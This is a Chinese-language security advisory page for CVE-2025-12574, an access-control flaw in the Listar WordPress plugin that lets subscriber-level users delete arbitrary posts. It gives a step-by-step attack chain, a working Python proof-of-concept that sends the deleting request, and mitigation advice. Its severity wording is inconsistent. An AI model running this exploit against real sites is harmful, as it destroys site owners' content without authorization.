IPBUF安全漏洞报告
English
CVE-2025-12574 CVSS 4.3 中危

CVE-2025-12574 WordPress Listar插件未授权任意文章删除漏洞

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-12574
漏洞类型
访问控制绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Listar – Directory Listing & Classifieds WordPress Plugin (<=3.0.0)

相关标签

WordPress插件漏洞访问控制绕过IDOR未授权删除REST API漏洞Listar插件CVE-2025-12574

漏洞概述

CVE-2025-12574是WordPress插件Listar Directory Listing & Classifieds中的一个高危安全漏洞。该插件是一款流行的目录列表和分类广告WordPress主题,在全球范围内被广泛使用。漏洞源于插件的REST API端点缺少适当的权限验证机制,具体位于/wp-json/listar/v1/place/delete接口。攻击者只需拥有WordPress网站的订阅者(Subscriber)级别账户,即可利用此漏洞无需任何管理员权限即可删除网站上的任意文章、帖子或页面内容。此漏洞的CVSS评分为4.3,属于中等严重程度,但由于攻击门槛极低且可导致内容被恶意删除,对网站运营造成严重影响。攻击者可利用此漏洞进行内容破坏、SEO降权攻击或勒索等恶意行为。漏洞影响该插件3.0.0及以下所有版本,WordPress站点管理员应尽快采取修复措施。

技术细节

该漏洞属于Broken Access Control(访问控制失效)类型,具体表现为Insecure Direct Object Reference(不安全的直接对象引用,IDOR)。Listar插件在开发过程中为WordPress REST API注册了一个删除地点(place)的接口,路径为/wp-json/listar/v1/place/delete。然而,开发者在实现该接口时未对请求进行充分的权限验证。正常情况下,删除他人文章的操作需要编辑者(Editor)或管理员权限,但该API端点仅检查用户是否已登录,而未验证用户是否具有删除目标文章的权限。攻击者只需构造一个带有有效认证cookie的POST请求,指定目标文章ID即可删除任意文章。API端点接收post_id参数,攻击者可遍历不同ID实现批量删除。此漏洞的利用无需任何特殊工具或技术知识,curl命令即可完成攻击。

攻击链分析

STEP 1
步骤1
攻击者注册或获取目标WordPress网站的订阅者级别账户(最低权限要求)
STEP 2
步骤2
攻击者登录账户并获取有效的认证cookie(wordpress_logged_in_*)
STEP 3
步骤3
攻击者构造恶意HTTP POST请求,目标是/wp-json/listar/v1/place/delete端点
STEP 4
步骤4
在请求体中指定要删除的目标文章ID(post_id参数),可以是任意文章
STEP 5
步骤5
发送请求后,插件API未验证权限直接执行删除操作,文章被永久删除
STEP 6
步骤6
攻击者可重复此过程遍历删除所有文章,实现内容破坏或勒索目的

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12574 PoC - Listar Plugin Unauthorized Post Deletion # Target: WordPress site with Listar plugin <= 3.0.0 def delete_post(target_url, post_id, auth_cookie): """ Delete arbitrary post via vulnerable Listar REST API endpoint Args: target_url: Target WordPress site URL post_id: ID of post to delete (any post on the site) auth_cookie: Valid WordPress authentication cookie (subscriber level or higher) """ endpoint = f"{target_url}/wp-json/listar/v1/place/delete" headers = { "Content-Type": "application/json", "Cookie": auth_cookie } data = {"post_id": post_id} try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() if result.get("success"): print(f"[+] Successfully deleted post ID: {post_id}") return True print(f"[-] Failed to delete post ID: {post_id}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-12574_poc.py <target_url> <post_id> <auth_cookie>") print("Example: python cve-2025-12574_poc.py http://example.com 123 'wordpress_logged_in_xxx=xxx'") sys.exit(1) target = sys.argv[1] post_id = int(sys.argv[2]) cookie = sys.argv[3] delete_post(target, post_id, cookie)

影响范围

Listar Directory Listing & Classifieds WordPress Plugin <= 3.0.0

防御指南

临时缓解措施
如无法立即升级插件,可临时采取以下措施:1) 删除或禁用Listar插件;2) 使用安全插件限制订阅者角色权限;3) 通过.htaccess或Nginx配置限制对/wp-json/listar/*路径的访问;4) 部署Web应用防火墙规则阻止异常的REST API请求;5) 启用WordPress的审核日志功能,监控异常的内容删除操作。建议在可行情况下尽快升级到插件最新版本以根本解决此安全漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表